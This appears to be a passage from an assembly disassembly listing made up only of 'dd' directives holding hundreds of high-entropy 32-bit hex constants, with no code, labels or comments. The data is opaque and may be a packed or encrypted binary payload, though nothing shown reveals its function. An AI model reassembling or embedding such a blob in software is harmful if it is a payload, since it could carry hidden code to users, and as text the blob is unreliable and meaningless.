		dd 0E85FD4A8h, 0EAE3B121h, 0EA3CAECh, 6863837h,	492C3440h
		dd 98170A12h, 6704BD09h, 5F0B07B1h, 1241A069h, 0ABC090E9h
		dd 0F3E709F8h, 6C2BF5DDh, 679A10C2h, 0E55ADDh, 41AF2057h
		dd 53A938F0h, 3298DD00h, 6D9D31B7h, 7E6DD40Dh, 95F34464h
		dd 0DDF6BE4Dh, 2B9E1AB1h, 0BB1A6F12h, 2C53AA5Ah, 42582923h
		dd 31E70409h, 0B183995h, 0C0C9CD58h, 1B26714Bh,	741FEE0Bh
		dd 928869F5h, 0E2FE220Dh, 0A3F4301Bh, 0D422B901h, 0F8DE82EEh
		dd 0FD6307DDh, 0F9301BF2h, 54A801B9h, 8AD5542h,	96A66889h
		dd 0A56FA584h, 75A7990Bh, 0D178669h, 7CB0D126h,	0BE0B2E7Eh
		dd 62E1D5C7h, 0C138ED84h, 0CC38F67Fh, 0B52DBD01h, 0A0A3B12Ah
		dd 0DE942DA4h, 27F7D207h, 31C27ABFh, 0A2F5CC3Ah, 4D4772FCh
		dd 0E0BCA35Bh, 0BD677590h, 57942BB7h, 51169EC0h, 0C793B65Eh
		dd 673093Bh, 0D8E9E0D3h
		dd 0E8742CB6h, 0F69040FEh, 0D70254DBh, 334F45B5h, 0F1E1407Eh
		dd 27E9365Fh, 0FA7B1227h, 86EC05Ah, 7ABC5800h, 7821A297h
		dd 467E94B6h, 77A70517h, 9B046715h, 5EA5031Dh, 7B35402Eh
		dd 0F5CB351h, 0D82D8751h, 0C0D6FFB7h, 5035958Fh, 0B1B6BF2Bh
		dd 0C78D79B3h, 0D7634099h, 10A2800Fh, 0F955ADDh, 782AC62Ch
		dd 982E30A0h, 83008DADh, 877BDAD7h, 26BF6623h, 16A32228h
		dd 42D5CDFEh, 53294133h, 18185954h, 2F2B0BA3h, 24443B35h
		dd 0EDB11900h, 0EA675004h, 0A25A00B5h, 48D28146h, 4B16E240h
		dd 81648419h, 0A202CBCh, 9233903Bh, 7F8E2F7Dh, 0E4C017C8h
		dd 95379C97h, 946D4910h, 1229A800h, 0DD428C2Ah,	9C801771h
		dd 23163ACEh, 49620317h, 0BA100AB8h, 81000819h,	0E8A522F7h
		dd 0BD3E3155h, 0F43B4E3Dh, 0B4001D23h, 6B80B6BCh, 0DEA800B3h
		dd 9D094584h, 6BB43169h, 6093D4BAh, 0D701AA90h,	0C02C781h
		dd 0B8E765ABh, 50F9CDC2h, 5721FA61h, 8BB0F431h,	23020F5Dh
		dd 75BD29F4h, 0BB3C801Bh, 5BFC50D0h, 0A16E61h, 8A050657h
		dd 0BFFF80h, 2858904Ch,	94E95E53h, 0EE29A2B6h, 461815D1h
		dd 7EBE1400h, 0E80C1B6Bh, 0A91FC012h, 77CDBDEh,	4FEB3E4h
		dd 91034600h, 797490C3h, 72335C05h, 5E72304Fh, 0BE05C18Bh
		dd 31148D4Ch, 0E81183B3h, 37D0008h, 62194196h, 0FAA481Bh
		dd 2F0A0510h, 8FF7105Eh, 43EA1EADh, 1C0B9132h, 0AA8078F8h
		dd 22369F09h, 323D09FBh, 51375F5Eh, 1A41F982h, 4072747Fh
		dd 0AB3F1794h, 16C27916h, 1640B6CDh, 247813D7h,	639B5090h
		dd 10F0BF1Eh, 0B00ED0Eh, 8F5ED315h, 690544Bh, 0B6FEE7BEh
		dd 112A06Ah, 1382959Dh,	726A80E9h, 1B7CC7Ch, 0FAC59408h
		dd 80A726D5h, 0FBBF0F30h, 2A958956h, 0C291122Dh, 1F09FD94h
		dd 61DE1D54h, 0BED6CCBCh, 2EA66CD7h, 1185757h, 27905FEBh
		dd 0B485260h, 9298585Ah, 6561C23Dh, 70E28117h, 0BD902364h
		dd 1EE8B849h, 0CDF1F513h, 2F44D78Fh, 63096E6Eh,	575B6A27h
		dd 0B71AB78h, 2C6F3D86h, 0B6F00C05h, 0FDC24181h, 73756A33h
		dd 96E2821Fh, 58E4275Bh, 14C46485h, 0C6821862h,	7C5A1939h
		dd 0BB0B852Dh, 456C4A8Ch, 0B35FE939h, 0A07846Eh, 8A6F1484h
		dd 0F6A4CD01h, 20135DC7h, 114181D3h, 6DF26D68h,	11E99D29h
		dd 910A8415h, 90F2D1C3h, 0C42D1D9Dh, 0E88C0F60h, 2B858E27h
		dd 0A753530Eh, 1F006EB7h, 0BE7388D3h, 2509F0B2h, 0AB835D95h
		dd 7ED0F5Eh, 0E5B52B3Bh, 22A3B307h, 898B8091h, 8D0B11Eh
		dd 830102D9h, 1F084BBDh, 4522AF6Dh, 92BB8FECh, 78E9F305h
		dd 1CF878A8h, 3BBEFC8Ch, 0AF04FC9Dh, 0F25EC271h, 0FEB900B7h
		dd 0F847F917h, 74B80D43h, 0F2AC98C1h, 520BE1E2h, 82DBA34Ah
		dd 1274770h, 95A3F052h,	6FF88B2Ch, 334245ADh, 0BE668870h
		dd 0A4FCB724h, 20BEF422h, 2F7E00DEh, 0F2E5D8CEh, 0C2B01278h
		dd 6CF1AB81h, 3CDBD251h, 0BA346480h, 0E92D66B6h, 424E0B5Ah
		dd 7899536Ah, 0E824C164h, 9D091553h, 0BAE1CB2Eh, 2D797E71h
		dd 14677311h, 91AB4680h, 1C60581h, 0B74FB4A0h, 4C6A4A7Dh
		dd 1E7D9402h, 6F43559Ah, 0FC5417B2h, 72D62A68h,	747A0B33h
		dd 5750601Bh, 95273192h, 0E94B48C1h, 7A044E31h,	2A6100DBh
		dd 0C0ECA379h, 29EA1E68h, 4A852A9Dh, 0CB799BB0h, 0AC2CAC46h
		dd 56255AFDh, 3DE3052Ah, 4E2AA313h, 0C5000C6Ah,	272BDBCBh
		dd 0B44F49B6h, 0BD23FC01h, 663E02F1h, 0DE4D08Dh, 158D1A9Fh
		dd 801D1168h, 8350E0D8h, 0A9E600E8h, 0BFF987A1h, 0D72D9B41h
		dd 0F8140559h, 6E6E44B1h, 0E02F02FFh, 406B8341h, 2FFE774Ch
		dd 0A0557D0Fh, 5E885889h, 0F39E01D6h, 2BB2974Ah, 857520D8h
		dd 0CCDF236Eh, 4850EBEDh, 1C13F557h, 2E66F24h, 1125E359h
		dd 0F4EB5843h, 6EDC969Fh, 2FB9497Dh, 0F36995D1h, 69A850C2h
		dd 0B5318A16h, 6FB01922h, 13E4CDFh, 100425ECh, 5114ECB7h
		dd 5D000EA2h, 7B539F8Ch, 411C937Eh, 5FD72C6Ch, 0FBF9780h
		dd 0BD4D9017h, 0D624D4h, 9AC5744Ch, 5E68C42Ah, 8BA2B60Bh
		dd 5B6069F0h, 4BD96012h, 0E042A80Fh, 0C3240901h, 0E500975h
		dd 9E02412Dh, 780C3229h, 247D2D85h, 0B7970C46h,	8237008Fh
		dd 0F03D010Dh, 9693B5FCh, 441F2D88h, 0DB6D94F8h, 0B7F4C025h
		dd 7F6291A0h, 2DCD12E3h, 991527Eh, 600FF0FDh, 27EE8100h
		dd 0B79F580Eh, 6F8C0010h, 0A14E57A5h, 524FFE0Bh, 20CB7868h
		dd 0BE4C2F81h, 19257491h, 94869061h, 0A2371CBDh, 0D1954B01h
		dd 0A85F39A5h, 0E0DAB40Eh, 0B7EE43C0h, 422DD66Ah, 8084924Fh
		dd 27D82AEEh, 2461B63Ch, 0C650889h, 4849222Dh, 0D091D301h
		dd 6137AE5h, 36E23802h,	14E11D00h, 5EADFB32h, 0A0DC2101h
		dd 2E6C1BCCh, 0B6CA87D8h, 0FA8B0B5Dh, 0EF703A64h, 27C3D95h
		dd 0EE8A608Ch, 0EF00FDF1h, 10EA88A4h, 0C08701C2h, 0B0CDF93Dh
		dd 6CDCCCEDh, 814E7EEEh, 0BC590420h, 6AAE00E5h,	0D6BEAFF7h
		dd 4809683Eh, 5B615B56h, 181D5957h, 6F10049h, 66E8038Fh
		dd 654C837Bh, 0BC110A3h, 0B4820F1Ch, 8035A833h,	424536B8h
		dd 0DF0029Ch, 5BC028F7h, 0CEE0566Dh, 9254Bh, 2811C860h
		dd 0D18D292Ah, 0A4560D5Bh, 94269E98h, 14467C2Bh, 0B22D42Eh
		dd 0D710E9FBh, 0C0E4F38Bh, 0BBA48AF8h, 2D8D9FA0h, 5BB0740h
		dd 48B0C032h, 17AB561h,	6D0A3192h, 89D04A5Bh, 69397B1Dh
		dd 4B735234h, 5C89B271h, 8B6D220Dh, 0DB4B850Bh,	8EF2D8F1h
		dd 4ABD312Dh, 0AD53D1E3h, 59017FB7h, 3171B50Bh,	0F6B46F6Ch
		dd 10D8A04Eh, 1EC51680h, 0F5AE61D2h, 0B3FD6F90h, 450535ACh
		dd 0E796E1CFh, 2A009CE2h, 637CD785h, 0D60A9C28h, 0BA8B151Ch
		dd 531C0810h, 131A645Eh, 0FE2382F8h, 14038446h,	0D4A99346h
		dd 45D3D0EFh, 302DD35Dh, 0CF97CDB7h, 79EAA300h,	9F4505E3h
		dd 448BA752h, 5F566016h, 0E340A8C4h, 0C711C11h,	93F182A1h
		dd 0F06638C2h, 0B7AD8A02h, 0AF5EB563h, 89F84379h, 4EEDE02Fh
		dd 24982C3Fh, 0A3E48142h, 66F98B5Fh, 929AF0FDh,	4F57016Ch
		dd 0F7B62DB5h, 0F5E1602Bh, 7AD104E9h, 6E3F5F52h, 99F200A1h
		dd 0D505F32Fh, 2C6131A7h, 0F40170B6h, 0ECF2BE17h, 0E96A7F0Bh
		dd 8B5F61A3h, 74C192D3h, 5C00DCBBh, 0E7562602h,	4C13B1h
		dd 816065D2h, 426287DBh, 0F1021E5Bh, 0B0939B5h,	565A4E46h
		dd 35EB500h, 9F2109B5h,	3482B4BAh, 900131B9h, 1FF90EBEh
		dd 37E2BD45h, 2C845700h, 8F978D79h, 0A0730A00h,	1C76193Dh
		dd 5FFC17B5h, 802C9B90h, 203155BEh, 890F2839h, 0B6517E5Ch
		dd 8DCD2D7Dh, 0C135BDE0h, 2AAD06CFh, 4CEB309Dh,	1D9B797h
		dd 0A31ADD75h, 659C4007h, 0EBBC1F14h, 790E4DEh,	4B14C88Dh
		dd 0FDA2849Bh, 0BF037CFAh, 6B39A624h, 6EAEBC50h, 0EE9F0132h
		dd 0BBCF3F5Bh, 0DC4D42AEh, 2F8323Fh, 72300E7Dh,	0C7CD4026h
		dd 0DE624F1Eh, 0E30493F6h, 0D221289h, 8C84B720h, 0CA490394h
		dd 53F505D3h, 85878DF9h, 4070CE76h, 8B4C57B3h, 5F6D4877h
		dd 0AE61DE84h, 1723CE6Bh, 86DB7802h, 0B4174F7h,	0ED37D3FFh
		dd 0BE665281h, 696CF9B0h, 0F82351CBh, 7EAE95Fh,	6F6268D9h
		dd 41470B14h, 5C016789h, 570EF41Dh, 42FB8B62h, 0D32B3D9Dh
		dd 921D04Ch, 6602BCFCh,	913BE487h, 433176CBh, 7CF0DA8Eh
		dd 96000616h, 91287E6Eh, 0A04961BAh, 5B5D2C8Dh,	8771345Eh
		dd 25ADA840h, 0E7EA9342h, 2FDDA05Ch, 39BE0977h,	0B001BAA0h
		dd 6C1299BDh, 172D8E59h
		dd 0C2769BAEh, 61FDB109h, 237BF7ACh, 102A6625h,	0C7B0F57Fh
		dd 9FAD75D2h, 4A22C984h, 16F44231h, 502FE6C6h, 219C3666h
		dd 1F544597h, 56FA428Fh, 90E1F11Fh, 9AD33B6Dh, 281980DEh
		dd 5A4E3E2h, 2ADD73Ch, 3D3BB10Dh, 1694B86Eh, 0CA9A77F6h
		dd 26602E2Dh, 2C6EA89h,	9078530h, 98585645h, 0ECD0001Ah
		dd 0B3DC9A5Fh, 108084Bh, 116A19Dh, 2C6CBF51h, 505FC045h
		dd 0FF20524Bh, 16CA4Ah,	56E6CFB4h, 0AD22A8A7h, 0E30A9F01h
		dd 5F929B0Ch, 1273546Ch, 4C18FD8Dh, 0B0A57B16h,	700FE6E0h
		dd 9371E4FCh, 724BA720h, 0AE6A0FBFh, 0A1A00C21h, 0E885F53Fh
		dd 0A012087Ch, 61A9E789h, 0B8C58D2Dh, 72215C01h, 2D6E8A4Dh
		dd 844C38BDh, 0B0DBC38Bh, 871C08C0h, 0B52A898Ah, 6A9CC035h
		dd 9F35D72Fh, 69A56183h, 65F1B40Dh, 0E199801h, 57D82B00h
		dd 96516031h, 7193E19Dh, 0EE3D0061h, 6B8C7B9Fh,	57509314h
		dd 81045BD1h, 92E2310Fh, 9ECBB207h, 0E61B202Eh,	0F707182Ah
		dd 14D9EECDh, 8543E70h,	0C25F4AEBh, 375B9321h, 50EA5BA5h
		dd 19E2663Dh, 43054909h, 75E20237h, 80EDD306h, 218EF681h
		dd 0B049296Ch, 0CFC53EF6h, 219D18C8h, 0DE321E95h, 0BD7DD2F9h
		dd 467C84FEh, 0DEC6001Ah, 0AA46FD5Ah, 0BD0B12B7h, 55DFB1F9h
		dd 0E27EB630h, 3CF1F76Fh, 793D46A5h, 31392F2Bh,	0B5D82733h
		dd 0B78C0CFDh, 0CC096DB5h, 46DC82B4h, 7C474AB6h, 0DA00DCAEh
		dd 136998Bh, 9A0F118Dh,	5FFC2404h, 8BAEBC4Fh, 0CF5E4978h
		dd 7CD90640h, 7ED1091Dh, 5C0B1829h, 38B3B37h, 706E7B58h
		dd 10183F7h, 0C60D59DBh, 0EC2C2869h, 0E475EF80h, 0B3B88131h
		dd 0E120517h, 9E22E21Ch, 92C91D1h, 0A9E98D09h, 9B5E4B5h
		dd 3019BD89h, 0FE2C16F9h, 4A469D60h, 0B43900ECh, 636E35C8h
		dd 615A1CE2h, 0EFFEC149h, 34B60B4h, 40B625B5h, 5BAD8927h
		dd 0CD9B70C1h, 5631CAC9h, 478AE4ABh, 2E4B533h, 0EC2A75BEh
		dd 5397807Ch, 65C870B3h, 0ECF54C01h, 375B2512h,	0C9300F6h
		dd 0F56A74ABh, 0BEA950CAh, 76D68181h, 0C12A4F2Bh, 458C0F96h
		dd 0F95B822Dh, 291766D3h, 0DC05B77Eh, 2E97AB1h,	49BD0323h
		dd 8B0983FEh, 88CD37C0h, 341F93F9h, 9D772AEDh, 0CC29EA60h
		dd 0A9230932h, 818621C4h, 87B0FF01h, 59BD2095h,	97196555h
		dd 570112B7h, 23ABB93Ah, 308DAA30h, 0BDD717B1h,	0A2972159h
		dd 9216759Eh, 5015DB77h, 1D0B6C40h, 25267C1h, 523F191h
		dd 0C9BDA35Fh, 0D8DEFB42h, 3416841Fh, 0BA8DA39Ah, 91025463h
		dd 78F00116h, 80865AE0h, 0AAE69B00h, 0A85A3BD7h, 981787Fh
		dd 5783496Bh, 155923FBh, 8C044118h, 29599509h, 1DBC64A9h
		dd 8074BC8Ch, 819FCA6Dh, 564813E9h, 2F151014h, 0C9E15E25h
		dd 0A1592090h, 5F290A40h, 2501AA9Dh, 31EE8060h,	40C17360h
		dd 29986107h, 23DD897Bh, 37A5247Fh, 8DD2579Eh, 61583691h
		dd 36B88A3Dh, 0A54AE90Bh, 71855BC4h, 0D13BF8C1h, 0F46EEC12h
		dd 1203BFCh, 449D53FEh,	89B004Ah, 837C7798h, 5F725E74h
		dd 55216E90h, 12C9024h,	27EF8166h, 852129ACh, 0C450E59Dh
		dd 95144195h, 2D3AFC57h, 1E8EB733h, 0E46026Dh, 0F373CD8Bh
		dd 48B7803Bh, 9D3112B4h, 0C6085525h, 0D0D6E102h, 0BB9377Fh
		dd 0A11BA995h, 10DDFE1Ah, 0C87198A1h, 0C17C00FDh, 9FB2FA50h
		dd 0F703B539h, 11BD3660h, 0FE5A344Bh, 4A88C64Ah, 0F83823E8h
		dd 7EDBCEFFh, 6F606B85h, 0F5A0018Ch, 98BF7080h,	7C81FA28h
		dd 0F8A5C5E1h, 0A00EBF3h, 0C820467h, 9746288h, 0B92DFF03h
		dd 0B9B4D863h, 266B807h, 9D8BF117h, 21022C69h, 9726728Dh
		dd 0E1C0FACDh, 166AFB5h, 899264BBh, 430EA99Dh, 12A4B92Eh
		dd 4E00CBA2h, 70E7DF51h, 9E03E33Ch, 80B1E2B6h, 0FD06920Fh
		dd 5A8A5973h, 50A8528Bh, 13096520h, 1601E183h, 6F82249Fh
		dd 149351E5h, 0B897A955h, 8C0500F8h, 33970127h,	0C5647046h
		dd 564B08D2h, 29753902h, 5E4D5B05h, 0DB2E202Ah,	6FBC05Eh
		dd 18B2FE1h, 18DEB9Ch, 0C8C9BFBDh, 610B4432h, 0DAB52960h
		dd 3020A647h, 170BA66h,	17528195h, 83412AD8h, 0E6DC01BEh
		dd 1947C886h, 0ACF4091Bh, 867CB210h, 0D4D596h, 72F442ADh
		dd 78A99F22h, 0A49B9329h, 17FC3D90h, 0B9E00B8Ch, 69E4DC31h
		dd 8FCC7400h, 867521E9h, 32570479h, 0E05D858Bh,	80135EE3h
		dd 0A50337F4h, 0FD0459CFh, 0DF537D4Bh, 0F84C5B64h, 59B509F2h
		dd 4E5D391Ah, 18BD5FC2h, 0A08CFF0Fh, 6434DED8h,	8BFC2624h
		dd 3B2D10F2h, 311EB50Fh, 0E58397A8h, 35881885h,	7D001CBEh
		dd 1ADB6C56h, 7FCA28B1h, 0E81966CCh, 5F48CB55h,	3B895A23h
		dd 9869BD8h, 19D812B7h,	0B55349BAh, 0EEC80751h,	0D2BB0437h
		dd 841CA6B2h, 6D53BB20h, 36E1CFE6h, 0E1468B0Eh,	0D03A7B0Bh
		dd 0E41539BCh, 2F488B85h, 0A9A1A0E9h, 0AA0B8Ch,	0A8D2A15Ah
		dd 1D149AA7h, 2D54B90Ah, 3B64F11Fh, 216233Fh, 0F98EDC67h
		dd 346F380h, 0A699379Dh, 51456389h, 8D016BBDh, 0D2585FD1h
		dd 3666849Ah, 0D964D700h, 3370C4F2h, 90AF3849h,	4B56720Ch
		dd 0ED15E430h, 5E63C68Bh, 0A6C311FAh, 3E1727BCh, 0A804924Fh
		dd 2B142469h, 0E099E64Ah, 3F7E443h, 0C58D67F9h,	0F5D96E19h
		dd 7E46235Ah, 0A9950090h, 69867A9Fh, 26421635h,	7097FBFDh
		dd 0F402BE5Dh, 75D697CEh, 8033A18Bh, 4A6381EBh,	0A17DB6D2h
		dd 56548B01h, 1775ABC1h, 5221E37h, 0A0E2E0C2h, 7CAA895Dh
		dd 5F2EDC6Ch, 0F028EF3h, 0E11959FFh, 8A2CBDD7h,	0DD85C712h
		dd 0BBA97F5Ah, 30093FB8h, 4A799509h, 0DCEB76C0h, 0C1E35505h
		dd 0E0A8636Dh, 2E04E8Eh, 766111B3h, 6AEFB400h, 1037EBBEh
		dd 0F5B51009h, 70B7930h, 92E99D61h, 704A5332h, 4F07B501h
		dd 342A6AA3h, 0D1ACB793h, 1B3C459Dh, 9BBC454Dh,	0C8AAE114h
		dd 18510FAh, 0E9C18B05h, 987E275h, 0E1A8D88Ch, 6A113559h
		dd 79AD7F01h, 1E450B96h, 653168FDh, 0FE53C018h,	680CEFC1h
		dd 20043CC6h, 7A02E4B0h, 50D5F57h, 595FFE8h, 0FE32E91Ah
		dd 0DFC1E5B2h, 1A9C530h, 3F4E2F11h, 0E225072h, 310CBAA5h
		dd 57C6A50h, 126EA056h,	0C1C3610Eh, 0B160A0E0h,	9EC08BB8h
		dd 0D0E640BEh, 0DB251458h, 4124D0E2h, 99EC7B2Eh, 56BF38ECh
		dd 3842F6FAh, 0E0B0E6F5h, 13B6660Dh, 0F536C0BAh, 192360AFh
		dd 38B1240h, 0BCB2BFCFh, 0D24E2C0Ah, 0CCE44FF6h, 0F12A01Ch
		dd 0ACC8C8BFh, 0DD760068h, 886F599Dh, 9E0A6ACFh, 0B946E6BFh
		dd 0E8D85302h, 579AEA1Ah, 0F286AF9Ah, 8F81A951h, 3D5FE681h
		dd 233900CFh, 40DD8B7Eh, 80176103h, 0C2E870C9h,	635BFD09h
		dd 4AFF5E78h, 0F6E6C3DEh, 50A5A625h, 0DC729E19h, 46D4D124h
		dd 2F220108h, 122EC810h, 15BC6900h, 0FE74EFDEh,	0F62900A4h
		dd 0E86BC3B2h, 5E940979h, 3A710CF4h, 4D7C0F13h,	77BA3052h
		dd 8F8D5992h, 0AB58BEE3h, 5EC1F831h, 656D0D94h,	2DAB24E8h
		dd 266BB840h, 0A6D0279h, 1D542565h, 0F698A649h,	259B150Bh
		dd 43C4D9h, 78578F9Ah, 0DFD10C81h, 59436703h, 886011A5h
		dd 258B5B56h, 0FE7A299Dh, 2AB9AAA1h, 0B2E82A43h, 8CBD8408h
		dd 90BF3FBCh, 8E8A20h, 0B25C3D75h, 95312EC1h, 5F6BAD66h
		dd 0B8D20FCh, 0D9BF660Ch, 4199143Fh, 0FFC64003h, 85B6AE8h
		dd 6000E87Ah, 0B58B40F5h, 0BAA61BADh, 0CBB72D4Eh, 0D3FD29A0h
		dd 0CD80E61Eh, 819E845h, 80A5EBE7h, 302DBD76h, 5DAA1083h
		dd 4DB89D21h, 147EC1Dh
		dd 8D055BBCh, 2E52DCEBh, 5177088h, 87C7D0FBh, 3B6FF5E8h
		dd 0DF05A06Eh, 0E833BCh, 5293412Dh, 90B724E4h, 1130D33h
		dd 0DDC13388h, 400C868Eh, 23B595DCh, 0DCD75A0h,	79D98493h
		dd 0FEC8ACF4h, 0EDE11CDEh, 4CE80D0Ch, 6DB6BDBh,	5DC0E780h
		dd 82496DA6h, 422224Dh,	1DE8FBB7h, 8C7AAE07h, 3858037Dh
		dd 0FB874C1h, 899D6025h, 8064B70Eh, 85F8E9E4h, 109597FDh
		dd 7A55FA7Bh, 0B1670215h, 75D18293h, 10413241h,	0E7BD3351h
		dd 985E9634h, 0EB62F700h, 3E1D4513h, 1F1423A2h,	0F1E10749h
		dd 0FA0C25B1h, 824804F2h, 0C6E8944Bh, 3C9B1900h, 3EE53578h
		dd 885F8D0Fh, 0DE27295Ah, 0F9C453h, 75697D81h, 24650D3Eh
		dd 4850DF07h, 2D52D7AEh, 0DAC14288h, 595E2794h,	0D5AF0459h
		dd 8A025392h, 0BD7F1BD1h, 98E90311h, 0D7E85D9Eh, 66F61BC5h
		dd 7F0432B0h, 5F4E83Bh,	1588C58Fh, 0CAAECCCFh, 43074BDDh
		dd 8454C6FDh, 34D9B82Ch, 15E37A5h, 0E848402Eh, 0FA38AA3h
		dd 10273F87h, 3941060Ch, 0D2800169h, 0BE322908h, 0CD1DA0E3h
		dd 88731071h, 0A69F4BB5h, 0CB75E039h, 5FE8282Bh, 888A7544h
		dd 53189DBFh, 0FD68121Ah, 2FCFB502h, 0F9395B40h, 9C711401h
		dd 0D910ABC9h, 8D230B0Ah, 0CDEC6B45h, 0CFB74406h, 18DD2078h
		dd 0A69334D7h, 35E984B0h, 56127BB8h, 48F16AA2h,	95C29A1Bh
		dd 7402FC1h, 490587E1h,	1ED98D89h, 7BDD29AFh, 0E4099A6Ah
		dd 0AEDE52DBh, 0FA21444Bh, 938C0011h, 0B21D4FCFh, 59602DB8h
		dd 0FD05DE86h, 0C8C35A8Bh, 58037DE9h, 0FC42653Bh, 5A2E98EFh
		dd 6389972Dh, 0E3704EFBh, 0FE4100F5h, 86D014EFh, 4FA82E6Eh
		dd 0F5F8F289h, 80DECC01h, 8B515883h, 8906892Eh,	0EDE2F7AAh
		dd 0DA05C0D2h, 8A00CC01h, 97C8541h, 77DF181h, 2B55622Ch
		dd 0AFECD5D8h, 0E4B9E700h, 3503A9FBh, 712310Fh,	0FA6D7764h
		dd 0DD5A2509h, 0A8EC0283h, 50932BF7h, 2F92758h,	0A9FD0FB7h
		dd 55F7DEEh, 0BDD5E5B4h, 17AC5BFDh, 6FBC048Ch, 8260A855h
		dd 905DD08Ch, 154BA7h, 82CBA693h, 90A0F0D9h, 2348AB00h
		dd 859C0DFFh, 61C612A9h, 85409B5Bh, 900E841h, 0CD76D8A9h
		dd 0BB680FF7h, 0A2A0911Ah, 0B8E48B0h, 0DF577C05h, 4D82FAADh
		dd 0F08B2002h, 952F8D59h, 895782F1h, 0DC5D561Ah, 68D0960Eh
		dd 738A83DAh, 0E604DA89h, 0AEFA008Ah, 0ADD52B31h, 854A1D88h
		dd 0C0657C2h, 0E403582h, 26B91A66h, 187B8A21h, 70618A70h
		dd 87C56BB9h, 0D6C270CDh, 0C1716087h, 152A008h,	6F6F9530h
		dd 88A67E40h, 0C8B14B4Ch, 94389387h, 0B3280626h, 93F699B7h
		dd 5BFF784Eh, 3141FE02h, 0F589A874h, 15F0808Eh,	5B863EB1h
		dd 3A80A6DBh, 1DD1FA39h, 8C0FD417h, 0DD0035CAh,	0AA6492C2h
		dd 0B1002B3Dh, 3E5FB06Fh, 157BAB7h, 23C121FDh, 0A71B5h
		dd 3FA1BF5Eh, 0ADD0DDDBh, 5DF2F5ADh, 93800937h,	3C45905Ah
		dd 401CB4E6h, 0B4C6AEC9h, 27BCBF24h, 123E7BF6h,	4FDCC82h
		dd 11130507h, 0DC9B4EA7h, 82DD2D80h, 43090C2Bh,	829560ECh
		dd 55CEBF1Dh, 0A013F84h, 29128C61h, 1AF6C385h, 8F7FECE0h
		dd 2D096277h, 396E90Ah,	3909F9BBh, 950A1AC5h, 6B6A2959h
		dd 0E8513ADBh, 33DAE8Bh, 3DD0555Bh, 31FC0974h, 0DCDEA195h
		dd 3D9B1A92h, 9C0A7E80h, 2009B538h, 851F97DDh, 8C6E82Ch
		dd 0E0E1ADE6h, 1FBEB602h, 0C1EE8DF9h, 0BA2AA710h, 7CB2015Ah
		dd 7D01DCCFh, 86C0EAD8h, 0D13A9ADEh, 38818DB4h,	0BF57011Bh
		dd 72848E5Eh, 0BDC6A8B5h, 0BCFBCB0h, 554E2349h,	0CE106CC3h
		dd 0BF0E2921h, 63492AD0h, 1339D802h, 0A4D46C89h, 187CEE6h
		dd 79DF0CBEh, 42A8E917h, 52598610h, 0FBD1BF0Fh,	0AC8BE3AEh
		dd 852C857h, 3BB9AA01h,	0FB78C1D4h, 0C28F303Eh,	0E96A463Ah
		dd 3111573Eh, 5EB7BF7Eh, 6AD1DB85h, 296FAAh, 0D7179C77h
		dd 2EAE829Eh, 921ADC9h,	1AF62BE1h, 40E9AEECh, 8103C319h
		dd 0AAAC7D6h, 9F88DC02h, 6DDB0035h, 4DB0EDA5h, 0FC00B650h
		dd 0F0FDF483h, 75AD4C44h, 8AE01699h, 0E0D0A6C5h, 1E5F46Bh
		dd 6118E456h, 6A800F3Fh, 3206828h, 0E862B4CBh, 0F5881C4Fh
		dd 0B79DC08Bh, 0A6A10282h, 0C2741E39h, 28067D08h, 9E5D7B66h
		dd 0EE18B81h, 0FDCBE3CFh, 38447C6Dh, 0B07D462Fh, 9509F13h
		dd 820FC688h, 0EF24A371h, 611CDE1Dh, 8D3B549h, 0C0168F9Fh
		dd 0F6D29BBDh, 9073A069h, 33A91E8h, 0F6804BABh,	285F6D99h
		dd 79F92F9Dh, 2F49802Ch, 160F0AA3h, 76E8A734h, 0C200776Bh
		dd 0BC1D975h, 4A07A8BBh, 0F6BF5562h, 13AF9805h,	0E08EF684h
		dd 1CAC3F82h, 0ED1FF4F5h, 100D1884h, 30DC1F97h,	0C0830B3Bh
		dd 0C0A04D05h, 1C5958FBh, 998D2913h, 0CB4C08F5h, 0BC9D00FEh
		dd 337D53C9h, 7375DD24h, 0F2381300h, 951C566Dh,	60030B4Fh
		dd 0AF099D31h, 5022D9AEh, 4F4FC8Ah, 2573725h, 0CE6FEF9Fh
		dd 56A881C0h, 22BC214Ch, 41829705h, 8864686Bh, 2523D923h
		dd 8D406E4Dh, 21FA2DDh,	0E7669CD8h, 0DBFC09C1h,	25DB8060h
		dd 537EE38Dh, 81D99BD4h, 0D1FF5140h, 0FCB8EF6Dh, 776FCE00h
		dd 0C82B6ECDh, 0E83A09BBh, 0BEF6268Fh, 0AE4A0210h, 849843DCh
		dd 510C8D2Fh, 9D29412Eh, 3A5C72E9h, 0F95BF802h,	0BCA84E16h
		dd 4AD1F180h, 0A008B3Dh, 0A0866A07h, 25986956h,	0A638F1Eh
		dd 905B4501h, 0DEC1ABFh, 0FBB2B044h, 0E281F601h, 0D4FC7C02h
		dd 0AE480CA8h, 0A96E5ADFh, 0D060027Bh, 38F88672h, 0FC2DD884h
		dd 0DABA4AE6h, 86E6C03Dh, 2FDB914h, 0E9A510A3h,	77FE0DAFh
		dd 8230E658h, 27DC775Ch, 4AE2898Bh, 26F43AD4h, 13A2EB2Ah
		dd 3D090EDAh, 0C0D71E4Ah, 0CB507820h, 70260401h, 6961DAE5h
		dd 2DCD5EC8h, 0F5E489CFh, 0F7815F00h, 8A4F0DAh,	12BB7F50h
		dd 531ADF23h, 0E04BA6E2h, 2F80D4F7h, 98FF3BCFh,	9F840FC1h
		dd 80F91420h, 0FEBF27E3h, 0DEAA687Ch, 3CA9C64Ah, 8C1DACh
		dd 123A3627h, 0D770E89Dh, 0E9A7010Ch, 22B2507h,	245FF62Ch
		dd 0E9E03A49h, 6A2FD870h, 1CB390FFh, 0E00A4A5Fh, 2197B59Dh
		dd 7DD78003h, 80B086Eh,	121E904h, 5BD60DA4h, 0B06DC3BAh
		dd 7CD38180h, 26421E13h, 950876A8h, 0B54A32ADh,	935E2511h
		dd 8148FA8Bh, 2F711004h, 0C8B6037Ch, 2599D33h, 0CB40774Eh
		dd 15BA2DF1h, 5B8B00ACh, 0C95E453Ah, 0F402E17Dh, 5F12DCABh
		dd 2416D960h, 94C301BAh, 25C18B38h, 50D63C3Ch, 0D7D37925h
		dd 8529A1C0h, 24E19601h, 8D12453h, 8B011935h, 2E9F9D1h
		dd 0FD8A599Dh, 0BEA48527h, 0DFABB857h, 7519D44h, 770E5F0Bh
		dd 0BD9501C2h, 12D6C950h, 0DB01C8F3h, 0C6A62466h, 57D8F47Ch
		dd 8D970B02h, 84D03B75h, 88561D94h, 0D900540Ch,	0F5C6842h
		dd 281686C8h, 29E4B798h, 97AB4FE9h, 0F3DC5379h,	348A40CFh
